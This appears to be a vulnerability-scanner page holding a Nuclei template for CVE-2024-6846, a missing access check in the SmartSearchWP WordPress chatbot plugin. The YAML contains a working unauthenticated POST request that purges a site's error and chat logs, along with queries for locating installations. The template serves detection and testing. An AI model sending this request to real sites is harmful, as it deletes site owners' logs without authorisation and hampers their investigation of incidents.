SmartSearchWP <= 2.4.4 - Unauthenticated Log Purge

ID: CVE-2024-6846

Severity: medium

Author: s4e-io

Tags: wpscan,cve,cve2024,wp,wordpress,wp-plugin,smartsearchwp,chatgpt

Description

The Chatbot with ChatGPT WordPress plugin before 2.4.5 does not validate access on some REST routes, allowing for an unauthenticated user to purge error and chat logs.

YAML Source

id: CVE-2024-6846

info:
  name: SmartSearchWP <= 2.4.4 - Unauthenticated Log Purge
  author: s4e-io
  severity: medium
  description: |
    The Chatbot with ChatGPT WordPress plugin before 2.4.5 does not validate access on some REST routes, allowing for an unauthenticated user to purge error and chat logs.
  reference:
    - https://wpscan.com/vulnerability/d48fdab3-669c-4870-a2f9-6c39a7c25fd8/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-6846
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
    cvss-score: 5.3
    cve-id: CVE-2024-6846
  metadata:
    max-request: 1
    verified: true
    vendor: webdigit
    product: smartsearchwp
    framework: wordpress
    publicwww-query: "/wp-content/plugins/smartsearchwp"
    fofa-query: body="/wp-content/plugins/smartsearchwp"
  tags: wpscan,cve,cve2024,wp,wordpress,wp-plugin,smartsearchwp,chatgpt

http:
  - raw:
      - |
        POST /wp-json/wdgpt/v1/purge-error-logs HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"months":"1"}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body,"success","true", "purged successfully")'
          - 'contains(content_type,"application/json")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a004730450221008b1f5cd8b5fbb099f01f66500b90a0372f2691a3cc31b15afb862f9e9e9ebf7d022068511475d22e94663c4753b725a50692b1181d73ed7b77af0592aa24b350811a:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-6846.yaml"

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